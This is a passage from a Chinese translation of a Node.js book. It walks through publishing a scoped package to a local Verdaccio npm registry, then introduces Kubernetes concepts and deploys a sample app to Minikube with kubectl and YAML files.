Verdaccio 网页界面右上角的菜单有一个标有 LOGIN 的按钮。但是,为了使用它,您首先需要创建一个帐户。切换回终端,并运行以下命令:
$ npm set registry http://localhost:4873
$ npm adduser --registry http://localhost:4873
第一个命令配置 npm CLI 在将来的命令中使用您的本地 Verdaccio 注册表。第二个命令使用注册表创建了一个新用户。在第二个命令中,不需要 --registry 标志,但它显示了如何覆盖单个 npm 命令以使用特定的注册表 URL。
在提示时,输入您通常使用的用户名、密码和电子邮件地址。完成后,并且您已通过 npm CLI 进行了身份验证,请切换回 Verdaccio 网页并继续登录到界面。
网页界面仍然不是那么有趣。为了实现这一点,您首先需要发布一个包。您一直在工作的 leftish-padder 包是一个合适的候选者。
发布到 Verdaccio
切换回终端,并导航到您在前几节中创建示例包的目录。一旦进入该目录,请运行以下 npm publish 命令将您的包发布到您的私有 npm 注册表:
$ cd leftish-padder
$ npm publish --registry http://localhost:4873
与您之前使用 --dry-run 标志运行 publish 命令时应出现类似的输出。这次,在包摘要后,您应该看到以下消息打印出来,表示成功发布:
+ leftish-padder@0.1.0
现在你已经发布了你的第一个包,切换回 Verdaccio 的网页界面并刷新页面。你现在应该能看到一个包列表,而在这种情况下,你应该只能看到你安装的 leftish-padder 包。从这个界面,点击列表中的 leftish-padder 条目,以进入 package details 页面。
这个页面有四个选项卡。第一个选项卡标题为 README,并包含来自 README.md 文档的内容(尽管在这种情况下是空的,所以页面显示“ERROR: No README data found!”)。下一个选项卡标题为 DEPENDENCIES。点击它可以查看最新版本包的依赖列表。在这种情况下,你应该只能看到一个条目:express@⁴.17.1。点击第三个选项卡标题为 VERSIONS,以查看这个包的版本列表。在这个页面上,你应该能看到两个条目。第一个是 latest,指向最新版本。第二个是 0.1.0,这是你目前为止唯一发布的版本。
不幸的是,当前版本的包存在一个 bug。index.js 文件是空的,这个包什么也做不了!切换回终端并编辑你的 leftish-padder 包的 index.js 文件。将 Example 6-13 中的内容添加到这个文件中。
示例 6-13. leftish-padder/index.js
module.exports = (s, p, c = ' ') => String(s).padStart(p, c);
现在你已经修复了包的 bug,准备发布一个新版本。你需要做的第一件事就是增加包的版本号。由于你正在处理一个 bug 修复,只需要更改修订版本。运行以下命令来增加版本号并执行发布操作:
$ npm verson patch
$ npm publish --registry http://localhost:4873
现在再次打开 Verdaccio 网页并刷新 VERSIONS 选项卡。你应该能看到你的包的新版本 0.1.1 的新条目。
到目前为止,Verdaccio 一直作为一个上传私有包的工具在运行。不幸的是,leftish-padder 这个名字可能有点太普通了。截至目前为止,还没有这个名字的包存在,但未来可能会有。如果真的发生了这种情况,npm CLI 就会混淆。如果你进行安装,如果出现包名冲突会发生什么?你应该获取私有包还是公共包?
为了避免这个问题,你可以在包名的开头提供一个长字符串,比如 widget-co-internal-*。但这样输入会很麻烦,而且理论上其他人仍然可以选择相同的包名。相反,你应该使用一个叫做 scope 的东西来给你的包添加命名空间。Scope 是官方的 npm 机制,用于给包添加命名空间。Scope 名称也可以注册,这样其他人就不能使用相同的作用域了。
打开你的包的 package.json 文件,并编辑 name 字段。在这种情况下,你可以使用一个用户名来为你的包添加作用域。我的用户名是 tlhunter,所以我的包名条目看起来像这样:
"name": "@tlhunter/leftish-padder",
运行你之前一直在使用的publish命令再次。发布完成后,切换回你的网络浏览器,访问你的 Verdaccio 安装的主页,然后刷新页面。现在你应该能看到一个作用域包的额外条目。
通过使用与你的 npm 组织相同名称的作用域,你可以确保没有其他人会在公共 npm 仓库中发布一个竞争名称的包。然后组织可以使用他们的组织作用域发布公共包到公共注册表,同时使用相同的作用域将私有包发布到他们的内部注册表。
最后,确认你能够安装你发布的私有包。这可以通过创建一个示例项目,安装作用域包,创建一个 JavaScript 文件来需要和运行这个包来完成。运行以下命令来执行这些操作,替换<SCOPE>为你选择的作用域:
$ mkdir sample-app && cd sample-app
$ npm init -y
$ npm install @<SCOPE>/leftish-padder
$ echo "console.log(require('@<SCOPE>/leftish-padder')(10, 4, 0));" \
> app.js
$ node app.js
你应该在控制台中看到打印出的字符串0010。
就是这样!你现在是一个私有 npm 注册表的骄傲所有者。在将其用于生产之前,你需要阅读 Verdaccio Docker 文档,配置其将更改持久化到磁盘,给它一个永久的主机名,并启用诸如 TLS 等安全功能。
当你完成对 Verdaccio 的实验后,你可能不再想将其用作 npm CLI 的注册表。运行以下命令将一切恢复正常:
$ npm config delete registry
现在你的 npm CLI 已经配置回使用公共npmjs.com注册表了。
^(1) Python 和大多数其他语言可以通过一个单独的 Web 服务器在请求/响应的基础上执行(也许是 Django),或者在内存中持久运行(如 Twisted)。
^(2) 理论上,你可以在生产服务器上运行nodemon,然后只需覆盖文件以使用更新版本。但是你绝不应该这样做。
^(3) “Flaky”是一个超级科学的工程术语,意思是“有时候会出问题”。
^(4) Browserify、Webpack 和 Rollup 等工具使得在浏览器中使用 CommonJS 模式成为可能。
^(5) 当我在 Intrinsic 工作时,我们以这种方式向客户分发我们的安全产品。
^(6) 你也可以使用npm pack生成一个 tarball,你可以手动检查。
^(7) 这听起来可能有些牵强,但这确实发生在我的雇主身上。
^(8) 如果你遇到EPUBLISHCONFLICT错误,那么某些不幸的读者已经将他们的包发布到 npm,你需要更改包名称。
第七章:容器编排
在本书中,您在开发机器上运行了许多不同的 Docker 容器。每次运行它们时,您都是通过相同的机制进行的:在终端中手动运行 docker 命令。当然,这对于本地开发来说没问题,也许可以用来在生产中运行单个服务实例,但当涉及到运行整个服务群时,这种方法将变得困难。
这就是 容器编排 工具发挥作用的地方。粗略地说,容器编排工具管理许多短暂容器的生命周期。这样的工具有许多独特的职责,并且必须考虑以下情况:
-
随着负载的增减,容器需要进行伸缩。
-
随着新服务的创建,偶尔会添加新的容器。
-
需要部署新版本的容器以替换旧版本。
-
单一的机器可能无法处理组织需要的所有容器。
-
相似的容器应该在多台机器上进行分布,以提高冗余性。
-
容器应该能够彼此通信。
-
相似容器的传入请求应该进行负载均衡。
-
如果一个容器被视为不健康,应该将其替换为健康的容器。
容器编排工作在无状态服务中非常有效,比如典型的 Node.js 服务,其中实例可以在没有太多副作用的情况下被销毁或重新创建。而像数据库这样的有状态服务,在容器编排工具中运行则需要更多的关注,因为涉及到诸如跨部署持久化存储或重新分片数据等问题。许多组织选择仅在容器编排器中运行应用代码,并依赖于专用机器来运行它们的数据库。
在本章中,您只会将无状态应用代码部署到容器编排工具中。虽然有几种不同的工具可供选择,但似乎其中一种已经超过了其他工具,成为了最受欢迎的。
Kubernetes 简介
Kubernetes 是由 Google 创建的开源容器编排工具。每个主要的云平台即服务都有一种方式来暴露或模拟 Kubernetes 给它们的客户使用。甚至 Docker 公司也似乎已经将 Kubernetes 集成到了他们的 Docker Desktop 产品中。
Kubernetes 概述
Kubernetes 是一个非常强大的工具,为了正常运行,它需要许多组成部分。图 7-1 是 Kubernetes 架构的高层概述。

图 7-1. Kubernetes 集群概述
此图表中的每个组件都有层次关系,并且可以分布在多台机器上。以下是各组件的解释及其相互关系:
容器
正如您可能已经猜到的那样,Kubernetes 中的容器相当于您迄今为止使用的容器。它们是一个隔离的环境,用于封装和运行一个应用程序。Kubernetes 使用几种不同的容器格式,如 Docker 和 rkt。
卷
Kubernetes 中的卷与 Docker 卷几乎是等价的。它提供了一种在容器之外以半永久方式挂载文件系统的方法。本章不会涵盖卷,因为典型的无状态 Node.js 服务不应需要持久性卷。尽管如此,在各种情况下,它们确实非常有用。
Pod
Pod 代表一个应用程序实例。通常一个 pod 只包含一个容器,尽管一个 pod 中可能有多个容器。一个 pod 还可以包含 pod 容器所需的任何卷。每个 pod 都有自己的 IP 地址,如果同一 pod 中存在多个容器,则它们将共享一个地址。Pod 是 Kubernetes API 允许您与之交互的最小单位。
节点
节点是整体 Kubernetes 集群中的工作机器,可以是物理的或虚拟的。每个节点都需要在机器上运行一个容器守护程序(如 Docker)、一个 Kubernetes 守护程序(称为 Kubelet)和一个网络代理(Kube Proxy)。不同的节点可能具有不同的内存和 CPU 可用性,就像不同的 pod 可能具有不同的内存和 CPU 要求一样。
主节点
主节点代表在主节点上运行的一组服务。主节点公开一个 API,外部客户端如您在本章中将使用的 kubectl 命令与之通信。主节点将命令委派给运行在各个节点上的 Kubelet 进程。
集群
集群代表主节点及其各个关联节点的整体集合。通过指定哪些 pod 属于哪个环境,技术上可以使用单个集群来支持不同的环境,如演示和生产环境。然而,通常更安全的做法是维护多个集群,以防止意外的跨环境通信,特别是在计划在生产环境之外测试集群时。
Kubernetes 概念
当您与 Kubernetes 交互时,您是通过声明集群的期望状态来进行的。例如,您可以告诉它您希望运行版本为 0.0.3 的 recipe-api 服务的 10 个实例。您不需要告诉集群如何实现该状态。例如,您不需要告诉它通过添加四个条目来增加当前的六个实例数。最终是由 Kubernetes 决定如何达到所需的状态。同样,由 Kubernetes 决定达到该状态需要多长时间。
在能够流畅地在 Kubernetes 上运行应用程序之前,您必须了解架构之外的许多其他概念。Kubernetes API 将群集中的各种资源公开为对象。例如,当您部署(动词)一个应用程序时,您正在创建一个部署(名词)。以下是在本章的其余部分中将要使用的最重要资源的高级列表:
调度
调度是 Kubernetes 确定为新创建的 pod 分配最佳节点的过程。Kubernetes 默认使用的调度器称为 kube-scheduler。在遇到新创建的 pod 时,调度器会检查可用节点。它考虑节点的空闲 CPU 和内存,以及 pod 的 CPU 和内存需求(如果指定)。然后选择一个兼容的节点来托管该 pod。如果没有节点有能力托管该 pod,则它可以保持 scheduled 状态,等待节点变为可用。
命名空间
命名空间是 Kubernetes 用于逻辑上将集群划分为更小、半隔离集合的机制。默认情况下,创建了 default、kube-system 和 kube-public 命名空间。稍后,当您运行仪表板时,将创建一个额外的 kubernetes-dashboard 命名空间。这些可以用于像 staging 和 production 这样的环境命名空间。在本章中,您将应用部署到 default 命名空间。
标签
标签是分配给各种资源(如 pod 或节点)的键/值对。它们不需要唯一,并且可以为一个对象分配多个标签。例如,Node.js 应用程序可以具有 platform:node 和 platform-version:v14 等标签。节点可能使用像 machine:physical 或 kernel:3.16 这样的标签。app 标签是您区分 web-api 实例和 recipe-api 实例的方式。
选择器
选择器声明了 pod 的需求。例如,某个 pod 可能需要在物理机上运行而不是虚拟机,因为它需要执行一些极其时间敏感的工作。在这种情况下,选择器可能是 machine:physical。
有状态副本集
Kubernetes 可以处理有状态服务,并且有状态副本集旨在使此过程更方便。它们提供了有状态服务经常需要的特性,如一致的主机名和持久存储。在本章中,您将部署的 Node.js 应用程序不会使用有状态副本集。
副本集
副本集维护一个 pod 列表,创建新的 pod 或删除现有的 pod,直到达到所需的副本数。它使用选择器来确定要管理哪些 pod。
部署
部署管理副本集。它可以部署应用程序的新版本,扩展实例数量,甚至回滚到应用程序的先前版本。
控制器
控制器告诉 Kubernetes 如何从一种状态转换到另一种状态。副本集、部署、有状态副本集和定时任务都是控制器的示例。
服务
服务是将一组 pod 暴露给网络的资源。它很像一个反向代理,但不是针对主机名和端口,而是使用选择器来定位 pod。Kubernetes 的服务与本书中用于指代网络上运行进程的“服务”概念不同。在本章中,这些将被称为应用程序。
入口
An ingress resource manages external network access to a service within a Kubernetes cluster.
探针
探针类似于您之前使用过的 HAProxy 健康检查。它可用于判断 pod 是否健康以及在启动后是否准备好接收流量。
正如您所见,Kubernetes 是一个极其强大且可塑性强的部署应用程序容器的工具。Kubernetes 支持许多原语。在 Kubernetes 中,通常有多种方法可以实现同一目标。例如,可以使用命名空间或标签来模拟不同的环境。一个应用程序可以使用一个或多个副本集来部署。在部署到 Kubernetes 时可以采用许多复杂且持有意见的模式,但仅需要这些特性的子集即可在生产环境中运行分布式应用程序。
此列表包含应用程序开发人员需要关注的最重要概念。尽管如此,它甚至不包括在高吞吐量生产环境中运行 Kubernetes 所需的一切!例如,Kubernetes 还依赖于 Etcd 服务。与配置多个复杂服务以在本地运行 Kubernetes 相反,您将依赖于更简单的Minikube。Minikube 牺牲了一些功能,如运行多个节点的能力,但简化了其他事务,如不必配置 Etcd 并将主节点与工作节点合并。
启动 Kubernetes
要继续本章,您需要在开发机上安装 Minikube 和 Kubectl。有关安装详情,请参阅附录 C。完成安装后,请在终端中运行以下命令以确认它们已安装:
$ minikube version
$ kubectl version --client
现在您在开发机上运行了一个版本的 Kubernetes,可以开始与其进行交互了。
入门
现在您已经安装了 Minikube,可以开始运行它了。执行以下命令:
# Linux:
$ minikube start
# MacOS:
$ minikube start --vm=true
此命令可能需要一分钟才能完成。在后台,它正在下载必要的容器并启动 Minikube 服务。它实际上在已运行的 Docker 守护程序中运行一个专用于 Minikube 的 Docker 容器。^(1) 您可以通过运行**docker ps**命令来查看这个过程,尽管在 macOS 上运行 Minikube 时可能不会得到任何结果。
在我的情况下,我得到了 Table 7-1 中显示的输出。
表 7-1. Minikube 在 Docker 中运行
| 容器 ID | 245e83886d65 |
|---|---|
| 镜像 | gcr.io/k8s-minikube/kicbase:v0.0.8 |
| 命令 | "/usr/local/bin/entr…" |
| 端口 | 127.0.0.1:32776->22/tcp, 127.0.0.1:32775->2376/tcp, 127.0.0.1:32774->8443/tcp |
| 名称 | minikube |
接下来,是时候看一看 Kubernetes 使用的一些架构了。运行以下命令获取当前组成你的 Kubernetes 集群的节点列表:
$ kubectl get pods
在我的情况下,我得到了“在默认命名空间中找不到资源”的消息,你也应该得到相同的结果。这是因为集群的 default 命名空间中目前没有正在运行的 Pod。kubectl 默认使用 default 命名空间。尽管如此,Minikube 本身已经有几个正在运行的 Pod。要查看它们,请运行以下稍作修改的命令:
$ kubectl get pods --namespace=kube-system
在我的情况下,我得到了九个条目,包括以下内容:
NAME READY STATUS RESTARTS AGE
coredns-66bff467f8-8j5mb 1/1 Running 6 95s
etcd-minikube 1/1 Running 4 103s
kube-scheduler-minikube 1/1 Running 5 103s
你应该获得类似的结果,尽管名称、年龄和重启计数可能会有所不同。
接下来,请记住 Kubernetes 的另一个重要特性是节点,这些节点代表最终运行 Pod 的机器。还要记住,Minikube 是在单节点上本地运行 Kubernetes 的便捷方式。运行以下命令获取你的 Kubernetes 集群中节点的列表:
$ kubectl get nodes
在我的情况下,我得到了以下结果:
NAME STATUS ROLES AGE VERSION
minikube Ready master 3m11s v1.18.0
这里有一个名为 minikube 的单节点。再次强调,你的结果应该非常相似。
Minikube 自带自己的 Docker 守护程序。这在与本地机器上的容器工作时可能会有些混淆。例如,当你之前运行 docker ps 时,你看到为你的 Minikube 安装启动了一个新的 Docker 容器。你的本地 Docker 守护程序中还有一堆来自其他章节的镜像。但是,在与 Minikube 自带的 Docker 守护程序中运行的 Docker 容器中,有一些自己隔离的镜像集合。
Minikube 提供了一个方便的工具,用于配置你的 docker CLI 切换到使用 Minikube 的 Docker 服务。这个工具通过导出一些环境变量来实现。docker CLI 利用这些环境变量。
如果你想看看这些环境变量的实际内容是什么样的,运行命令 **minikube -p minikube docker-env**。在我的情况下,我得到了以下输出:
export DOCKER_TLS_VERIFY="1"
export DOCKER_HOST="tcp://172.17.0.3:2376"
export DOCKER_CERT_PATH="/home/tlhunter/.minikube/certs"
export MINIKUBE_ACTIVE_DOCKERD="minikube"
你应该得到略有不同但使用相同环境变量名称的值。现在,要实际应用这些更改到你当前的 Shell 会话中,请运行以下命令执行导出语句:
$ eval $(minikube -p minikube docker-env)
现在你的 docker CLI 已经配置为使用 Minikube 了!只需记住,每当你切换到新的终端 Shell 时,你将会回到使用系统的 Docker 守护程序。
要证明您的docker CLI 现在正在与不同的守护程序通信,请运行命令**docker ps**和**docker images**。在输出中,您应该看到列出的许多k8s容器和镜像。还要注意,您不应看到本书中您之前使用的任何旧容器或镜像(如果您暂时切换到新的终端窗口并再次运行这两个命令,您将看到您之前的容器和镜像)。
最后,尽管您和我都喜欢在终端中工作,有时候需要 GUI 来充分欣赏特定系统的复杂性。Minikube 确实配备了这样一个图形仪表板。它允许您使用浏览器与 Kubernetes API 交互。它还使浏览不同类型资源成为一件轻而易举的事,并允许您管理集群。
在一个空闲的终端窗口中运行以下命令来启动仪表板:
$ minikube dashboard
这个命令可能需要一分钟才能运行。在后台,它创建一个名为kubernetes-dashboard的新 Kubernetes 命名空间,并在其中启动一些 Pod。一旦命令完成,它将尝试打开仪表板的 Web 浏览器,并打印出仪表板的 URL。如果您的浏览器没有自动打开,请手动复制 URL 并访问。图 7-2 是概述仪表板屏幕的屏幕截图。

图 7-2. Kubernetes 仪表板概述
现在是一个熟悉不同屏幕的界面并适应它的好时机。侧边栏分为以下不同部分:
集群
集群部分列出影响整个集群的全局属性,无论选择的命名空间如何。这包括集群中可用节点的列表。点击侧边栏中的 Nodes 条目以查看节点列表。在这种情况下,您应该只看到minikube节点列出,就像您运行kubectl get nodes命令时一样。
命名空间
下拉菜单命名空间允许您选择仪表板所查看的命名空间。当前设置为default。这是本章中您将最多使用的命名空间。现在,请选择kube-system条目。这将允许您在仪表板中看到一些实际条目。
概述
概述是您在打开仪表板时首次看到的屏幕。现在,点击它,因为您位于kube-system命名空间中。此屏幕包含命名空间中有趣条目的列表,以及关于这些条目健康状况的图表。在此屏幕上,您应该看到四个绿色圆圈(即健康饼图),显示有关守护程序集、部署、Pod 和副本集的统计数据。在此屏幕上继续向下滚动,您将看到组成每个类别的单个条目。概述屏幕仅显示包含资源的类别,这就是为什么当您首次在default命名空间中访问此屏幕时,它会如此空的原因。
工作负载
工作负载包含了 Kubernetes 集群的核心内容。点击列表中的 Pods 条目。在这里,您可以看到运行 Minikube 所需的不同 Pods 列表。在新的 Pods 列表中,点击“etcd-minikube” pod。这将带您到一个新屏幕,显示有关这个特定 Pod 的更多信息,如它使用的标签、IP 地址以及 Kubernetes 重新启动它的次数。在屏幕末尾,它甚至提供有关容器的详细信息,例如启动容器时执行的命令。
发现和负载均衡
本节包含两个条目,Ingresses 和 Services。回想一下,Ingresses 允许将外部请求传递给服务,而服务本质上是一组 Pod 的反向代理。点击 Services 条目查看 Minikube 所需的服务。在这种情况下,您应该会看到一个名为“kube-dns”的单独条目。点击该条目以查看有关该服务的更多信息,例如与之相关的 Pods。在这种情况下,有两个单独的“coredns-” Pod 正在运行。这两个 Pod 由一个“coredns-”副本集管理。
配置和存储
本节包含用于执行配置管理、存储甚至密钥管理的条目。尽管本章不涵盖这些条目,但对许多组织来说,它们肯定是非常有用的。
一旦您完成了对仪表板的探索,请将 Namespace 下拉菜单更改回默认。在接下来的部分中,您将部署自己的应用程序,并且它将在默认命名空间中可用。本章的其余部分主要通过终端与 Kubernetes 进行交互,但如果您需要可视化您的集群状态,请随时打开仪表板。
部署应用程序
您现在已经准备好将应用程序部署到 Kubernetes 中了,而kubectl命令行界面是您唯一需要的工具。
这个实用程序可以通过两种常见的方式来使用。第一种方式是通过向其传递各种子命令来使用它。例如,您一直在使用的kubectl get pods命令有一个名为get的子命令,以及传递给该子命令的对象类型是pods。使用此实用程序的另一种方式是使用apply子命令,并传递一个配置文件的标志。您很快就会接触到配置文件,但现在是时候使用子命令了。
Kubectl 子命令
对于这第一个部署,您将使用几个不同的kubectl子命令与 Kubernetes API 进行交互。这些命令允许您与 Kubernetes 进行交互,而无需将文件写入磁盘。这种方法可能类似于在终端中运行docker run命令。对于这第一个部署,您将运行一个通用的 Hello World 应用程序来激发您的兴趣。这个应用程序是 Kubernetes 文档的一部分,但不要担心,因为很快您将会部署真正的 Node.js 应用程序。
请回忆,部署控制器通常用于将应用程序部署到 Kubernetes 上。这种类型的资源很可能是您在日常使用 Kubernetes 集群时最常互动的资源。
要创建您的第一个部署,请运行以下命令。尽量快速运行它们,以便您可以在部署正在进行中时查看 Kubernetes 集群的状态:
$ kubectl create deployment hello-minikube \
--image=k8s.gcr.io/echoserver:1.10
$ kubectl get deployments
$ kubectl get pods
$ kubectl get rs
第一个命令是创建您的部署。部署资源的实际创建非常快,命令几乎会立即退出。然而,在真正完成之前,它仍然需要进行一堆后台工作。例如,需要下载echoserver镜像并实例化一个容器。
如果您能够足够快地运行后续命令,您应该会看到 Kubernetes 集群在尝试将事物置于所需状态时的状态。在我的机器上,我看到以下命令输出:
$ kubectl get deployments
NAME READY UP-TO-DATE AVAILABLE AGE
hello-minikube 0/1 1 0 3s
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
hello-minikube-6f5579b8bf-rxhfl 0/1 ContainerCreating 0 4s
$ kubectl get rs
NAME DESIRED CURRENT READY AGE
hello-minikube-64b64df8c9 1 1 0 0s
如您所见,资源的创建是立即完成的。在这种情况下,立即创建了一个名为hello-minikube-6f5579b8bf-rxhfl的 pod 资源。然而,实际的 pod 尚未启动和准备就绪。READY 列列出了该 pod 的值为 0/1。这意味着所需的一个 pod 都尚未创建。请注意,在这种情况下,部署“拥有”复制集,而复制集“拥有”pod。尽管在运行命令时您技术上只请求创建一个部署,但它隐含地创建了其他类型的依赖资源。
一分钟或两分钟后,集群很可能已经完成了其他资源的创建。因此,请再次运行这三个kubectl get命令。当我第二次运行这些命令时,我得到了这些结果——尽管这次我已经添加了-L app标志以显示 pod 的app标签:
$ kubectl get deployments
NAME READY UP-TO-DATE AVAILABLE AGE
hello-minikube 1/1 1 1 7m19s
$ kubectl get pods -L app
NAME READY STATUS RESTARTS AGE APP
hello-minikube-123 1/1 Running 0 7m24s hello-minikube
$ kubectl get rs
NAME DESIRED CURRENT READY AGE
hello-minikube-64b64df8c9 1 1 1 7m25s
在这种情况下,已经过了足够的时间,集群能够达到所需的状态。镜像已下载,并已实例化容器。您的hello-minikube应用程序现在已经启动运行!尽管如此,您不能轻松地与其交互。要做到这一点,您首先需要创建一个服务。
请回忆,服务就像是与特定选择器匹配的容器的反向代理。运行以下命令来创建一个新服务,然后列出服务:
$ kubectl expose deployment hello-minikube \
--type=NodePort --port=8080
$ kubectl get services -o wide
这是我机器上可用的服务列表:
NAME TYPE ... PORT(S) AGE SELECTOR
hello-minikube NodePort ... 8080:31710/TCP 6s app=hello-minikube
kubernetes ClusterIP ... 443/TCP 7d3h <none>
在这种情况下,kubernetes条目被 Kubernetes 集群本身使用。hello-minikube条目是属于您的hello-minikube应用程序的条目。此服务的类型设置为NodePort,它实质上是将节点机器上指定端口转发到 pod 内部容器使用的端口。
此服务的 SELECTOR 列列出用于定位 Pod 的选择器。在本例中,选择器是隐式创建的,它将目标设置为带有app标签设置为hello-minikube的 Pod。正如您之前看到的,当您创建部署时,Pod 的app标签被隐式设置为hello-minikube。这些是由 Kubectl 提供的操作,以使与 API 的交互更轻松。
您创建的服务几乎立即准备就绪。创建完成后,您现在可以向其发送 HTTP 请求了。但是,应请求哪个 URL?在这种情况下,您需要从minikube CLI 获取hello-minikube服务的 URL。运行以下命令——第一个将显示服务的 URL,第二个将发出 HTTP 请求:
$ minikube service hello-minikube --url
$ curl `minikube service hello-minikube --url`
在我的情况下,我看到服务的 URL 是http://172.17.0.3:31710。hello-minikube HTTP 服务在您发出请求时提供了大量信息。假设您没有收到错误,请求成功!
请注意,在此情况下,服务与其他资源之间没有所有权概念。服务与 Pod 仅松散相关,因为它们的选择器和标签恰好匹配。如果存在其他 Pod,服务技术上也可以匹配它们。
此时,值得再次访问 Kubernetes 仪表板,查看您创建的资源。在 Workloads 部分的 Deployments、Pods 和 Replica Sets 屏幕以及 Discovery 和 Load Balancing 部分的 Services 屏幕查看。
现在您已经完成了hello-minikube服务,是时候将其拆除了。运行以下命令来删除您之前创建的服务和部署资源:
$ kubectl delete services hello-minikube
$ kubectl delete deployment hello-minikube
当您删除部署时,它将自动删除其所拥有的资源(在本例中为 Pod 和 Replica Set)。完成后,请运行以下命令最后一次获取资源列表:
$ kubectl get deployments
$ kubectl get pods
$ kubectl get rs
根据您运行命令的速度,您可能会看到 Pod 仍然存在。但如果确实看到了,Pod 的状态应该显示为 Terminating。多运行几次该命令,然后您应该会看到 Pod 已完全消失。在集群从现有状态变为所需状态之前,大多数与 Kubernetes 的交互都需要时间。
现在您已经熟悉了运行 Kubectl 命令与您的 Kubernetes 集群进行交互,可以使用更强大的配置文件了。
Kubectl 配置文件
与 Kubernetes API 交互的第二种方法使用配置文件。这允许您使用 YAML 文件声明性地描述 Kubernetes 集群的子集,这种方法类似于运行docker-compose命令。这些交互使用kubectl apply -f <FILENAME>子命令。
当您运行其他 Kubectl 命令时,您大多数时间都在单独地处理一个资源,比如创建服务,或者有时处理多个资源,比如在创建 Pod 和复制集时进行部署时。在处理配置文件时,可能同时创建几个可能不相关的资源。
在本节中,您将部署并运行之前构建的 recipe-api 应用程序,这次添加了一些额外的细节:
-
您将一次运行五个冗余的 replicas 应用程序。
-
一个 Kubernetes 服务将指向这些实例。
-
Kubernetes 将自动重新启动不健康的应用程序副本。
但首先,您需要构建一个 Docker 镜像并将其推送到 Kubernetes Docker 服务。访问您的 recipe-api 目录,并通过运行以下命令构建镜像的新版本:
$ cd recipe-api
$ eval $(minikube -p minikube docker-env) # ensure Minikube docker
$ docker build -t recipe-api:v1 .
一个标记为 recipe-api:v1 的 Docker 镜像现在已经在您的 Kubernetes Docker 守护程序中可用。
现在您已准备好为您的应用程序创建配置文件。首先,创建一个名为 recipe-api/recipe-api-deployment.yml 的文件。此文件描述了服务的部署,包括要维护的副本数量、端口号和用作健康检查的 URL。
现在您已创建了部署配置文件,可以开始通过添加 Example 7-1 中的内容来填充它。
示例 7-1. recipe-api/recipe-api-deployment.yml,第一部分
apiVersion: apps/v1
kind: Deployment 
metadata:
name: recipe-api 
labels:
app: recipe-api 
此 YAML 文件部分定义了一个部署。
此部署的名称是 recipe-api。
部署具有 app=recipe-api 标签。
文件从定义部署本身开始。值应该非常直观。到目前为止,文件表明它正在用于创建 recipe-api 部署。
接下来,将 Example 7-2 中的内容添加到文件中。
示例 7-2. recipe-api/recipe-api-deployment.yml,第二部分
spec:
replicas: 5 
selector:
matchLabels:
app: recipe-api
template:
metadata:
labels:
app: recipe-api
同时将运行五个应用程序副本。
本节描述了复制集的工作原理。特别是,Kubernetes 将需要运行五个 Pod 的副本。matchLabels 选择器设置为 recipe-api,这意味着它将匹配带有该标签的 Pod。
现在将最终内容从 Example 7-3 添加到文件中。请注意,第一行 spec 应该缩进四个空格;它是 metadata 字段的同级属性。
示例 7-3. recipe-api/recipe-api-deployment.yml,第三部分
#### note the four space indent
spec:
containers:
- name: recipe-api
image: recipe-api:v1 
ports:
- containerPort: 1337 
livenessProbe: 
httpGet:
path: /recipes/42
port: 1337
initialDelaySeconds: 3
periodSeconds: 10
该 Pod 的唯一容器使用 recipe-api:v1 镜像。
容器监听 1337 端口。
livenessProbe 部分配置了健康检查。
此文件部分定义了 Pod 使用的容器,并且比之前的部分更为复杂。容器的名称设置为recipe-api,并配置为使用recipe-api:v1镜像,这是你最近构建和打标记的镜像。
livenessProbe部分定义了用于确定容器是否健康的健康检查。在这种情况下,它配置为在启动容器后等待三秒钟,然后每 10 秒钟向/recipes/42端点发出 HTTP GET请求。请注意,选择这个 URL 仅因为它已经在producer-http-basic.js应用程序中存在;请参阅“负载均衡和健康检查”以构建更好的健康检查端点。
现在你的文件已经完成,是时候告诉 Kubernetes 集群应用所代表的变更了。运行以下命令:
$ kubectl apply -f recipe-api/recipe-api-deployment.yml
Kubectl 读取文件,并假设没有发现任何拼写错误,则指示 Kubernetes 应用这些变更。运行此命令几次,直到输出更改并且你的 Pod 被标记为 Running 状态为止:
$ kubectl get pods
我在我的机器上获得以下输出:
NAME READY STATUS RESTARTS AGE
recipe-api-6fb656695f-clvtd 1/1 Running 0 2m
... OUTPUT TRUNCATED ...
recipe-api-6fb656695f-zrbnf 1/1 Running 0 2m
Running 状态表示 Pod 正在运行,并且当前通过其存活性健康检查。要查看有关 Pod 健康检查的更多信息,请运行以下命令,将<POD_NAME>替换为你的 Pod 名称(在我的情况下是recipe-api-6fb656695f-clvtd):
$ kubectl describe pods <POD_NAME> | grep Liveness
我获得以下存活性信息返回:
Liveness: http-get http://:1337/recipes/42
delay=3s timeout=1s period=10s #success=1 #failure=3
接下来,创建另一个名为recipe-api/recipe-api-network.yml的文件,这次用来定义指向你已创建的 Pod 的 Kubernetes 服务。服务本来可以在同一文件中定义,通过将其放置在单独的 YAML 部分中,但文件已经足够长了。在这个文件中,从示例 7-4 中添加内容。
示例 7-4. recipe-api/recipe-api-network.yml
apiVersion: v1
kind: Service
metadata:
name: recipe-api-service 
spec:
type: NodePort
selector:
app: recipe-api
ports:
- protocol: TCP
port: 80
targetPort: 1337
服务名为recipe-api-service。
此文件描述了一个名为recipe-api-service的单个服务。它是一个NodePort服务,就像你之前定义的那样。它将请求转发到端口 1337,并且目标是匹配app=recipe-api选择器的 Pod。
应用此配置文件中表示的更改的方式与之前相同,通过使用一个新的文件名运行此命令:
$ kubectl apply -f recipe-api/recipe-api-network.yml
完成后,再次运行kubectl get services -o wide命令。你应该看到一个条目,与之前使用kubectl expose命令定义服务时看到的类似,只是这次服务名称稍长。
恭喜!您现在已经使用 Kubernetes 配置文件定义了您的 Node.js recipe-api 应用程序,并成功将其部署到本地 Kubernetes 集群。有了这个,您现在可以准备部署您的 web-api 应用程序了。
服务发现
web-api 应用程序比 recipe-api 稍微复杂一些。这个应用程序仍然会运行冗余副本并需要一个服务,但它还需要与 recipe-api 服务通信,并且需要接受来自外部世界的入口连接。为了使配置文件保持简短,它将不包含健康检查部分。
为了启用集群的入口连接,您需要手动启用该功能。运行以下命令来执行:
$ minikube addons enable ingress
$ kubectl get pods --namespace kube-system | grep ingress
第一个命令指示 Minikube 启用入口插件,这是扩展 Minikube 功能的一种方式。在这种情况下,它创建一个使用 Nginx Web 服务器执行入口路由的新容器。第二个命令只是向您展示容器的位置。在这种情况下,Kubernetes 在 kube-system 命名空间内启动 Nginx 容器。您在技术上不需要知道它运行在哪里,您只是在查看其内部情况。
